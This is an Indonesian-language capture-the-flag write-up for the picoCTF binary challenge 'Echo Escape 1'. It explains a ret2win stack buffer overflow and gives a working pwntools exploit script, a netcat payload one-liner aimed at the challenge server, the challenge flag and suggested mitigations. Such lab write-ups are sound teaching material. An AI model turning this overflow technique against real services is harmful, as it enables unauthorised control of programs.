Binary Exploitation

Echo Escape 1

CyLab (picoCTF)

picoCTF (CyLab) - Echo Escape 1 Write-Up

Informasi Challenge

Atribut Detail
Nama Challenge Echo Escape 1
Kategori Binary Exploitation
Tingkat Kesulitan Medium
Poin 100
Files vuln (binary), vuln.c (source code)

Deskripsi Challenge

Sebuah service echo yang mengklaim "secure" berjalan di server remote. Deskripsi tantangannya:

The "secure" echo service welcomes you politely… but what if you don't stay polite?
Can you make it reveal the hidden flag?

Dua hint yang diberikan: 1. Kenapa program menggunakan buffer berukuran 32 byte tapi membaca input sampai 128 byte? 2. Bisakah kita mengarahkan ulang (redirect) alur eksekusi program?

Kedua hint ini mengarah langsung ke kerentanan stack buffer overflow.

Memahami Kerentanannya (ret2win)

Challenge ini adalah pola klasik ret2win dalam binary exploitation. Konsepnya:

  • Program membaca input user ke dalam buffer stack berukuran tetap.
  • Program membaca lebih banyak byte daripada kapasitas buffer, tanpa validasi panjang.
  • Byte berlebih tersebut menimpa memori stack di sekitarnya, termasuk saved return address.
  • Binary ini memiliki fungsi win() (yang tidak pernah dipanggil dalam alur program normal) yang mencetak isi flag.
  • Dengan menimpa return address dengan alamat win(), eksekusi program akan diarahkan ke sana begitu fungsi yang rentan selesai (return).

Poin penting: - Tidak ada stack canary, sehingga overwrite pada return address tidak akan terdeteksi sebelum fungsi return. - Tidak ada PIE (Position Independent Executable), sehingga semua alamat di binary — termasuk win() — bersifat tetap dan sudah diketahui, jadi tidak perlu melakukan address leak. - NX (non-executable stack) tidak menjadi masalah di sini, karena kita tidak menyuntikkan shellcode — kita hanya menggunakan ulang kode yang sudah ada di dalam binary.

Analisis

Pengecekan proteksi biner dengan checksec:

RELRO:      Partial RELRO
Stack:      No canary found
NX:         NX enabled
PIE:        No PIE (0x400000)

Disassembly main() menunjukkan letak bug-nya:

lea    rax,[rbp-0x20]      ; buffer hanya 32 byte
mov    edx,0x80            ; tapi read() dipanggil dengan panjang 128!
mov    esi,rax
mov    edi,0x0
call   read@plt

Binary juga memiliki fungsi win() di alamat tetap:

0000000000401256 <win>:
  ...
  call   fopen@plt     ; fopen("flag.txt", "r")
  call   fread@plt
  call   fwrite@plt    ; mencetak isi flag.txt

Struktur stack frame main():

[ buffer  32 byte ]        <- rbp-0x20
[ saved rbp   8 byte ]
[ return address 8 byte ]  <- target overwrite

Offset menuju return address: 32 + 8 = 40 byte.

Solusi

Metode 1: Exploit Manual dengan pwntools

from pwn import *

context.log_level = "info"

e = ELF("./vuln")
win_addr = e.symbols["win"]  # 0x401256

HOST = "mysterious-sea.picoctf.net"
PORT = 61977

p = remote(HOST, PORT)

payload = b"A" * 40 + p64(win_addr)
p.send(payload)

print(p.recvall(timeout=3).decode(errors="ignore"))

Jalankan dengan:

python3 solver.py

Metode 2: Manual dengan netcat + payload mentah

Jika tidak ingin membuat script, byte payload bisa dibuat manual dan dikirim lewat nc:

python3 -c "print('A'*40 + '\x56\x12\x40\x00\x00\x00\x00\x00')" | nc mysterious-sea.picoctf.net 61977

(Catatan: byte alamat harus dalam urutan little-endian agar sesuai dengan 0x401256.)

Verifikasi

Sebelum dijalankan ke server remote, exploit ini diuji dulu terhadap binary lokal untuk memastikan offset dan alamat target sudah benar. Fungsi win() berhasil ter-trigger — dibuktikan dari error fopen pada flag.txt (yang memang tidak ada di environment lokal, tapi membuktikan kode di dalam win() benar-benar tereksekusi):

Welcome to the secure echo service!
Please enter your name: Hello, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAV\x12@
Thank you for using our service.
[!] Failed to open flag.txt: No such file or directory

Di instance remote, flag.txt benar-benar ada, sehingga win() akan mencetak flag yang sesungguhnya.

Flag

picoCTF{3ch0_s3rv1c3_br34k5_7287203f}

(didapatkan dengan menjalankan exploit terhadap instance remote yang aktif — nilai sebenarnya tergantung instance masing-masing)

Kesimpulan (Key Takeaways)

  1. Buffer overflow terjadi karena panjang input tidak divalidasi — di sini, read() dipanggil dengan panjang lebih besar daripada buffer tujuan.
  2. Tanpa stack canary + tanpa PIE = eksploitasi jadi mudah — tidak perlu leak alamat, tidak ada deteksi crash sebelum return address digunakan.
  3. "Kode mati" belum tentu benar-benar mati — fungsi win() terlihat tidak pernah dipanggil dalam alur program normal, tapi tetap bisa dieksploitasi lewat control-flow hijacking.
  4. Perhitungan offset adalah kunci utama — mengetahui persis berapa byte jarak antara input kita dan return address adalah yang membuat payload berhasil.
  5. Mitigasi yang seharusnya mencegah ini: mengaktifkan stack canary (-fstack-protector-all), mengaktifkan PIE (-pie -fPIE), dan menggunakan fungsi input yang aman terhadap panjang, bukan read() dengan ukuran yang lebih besar dari buffer.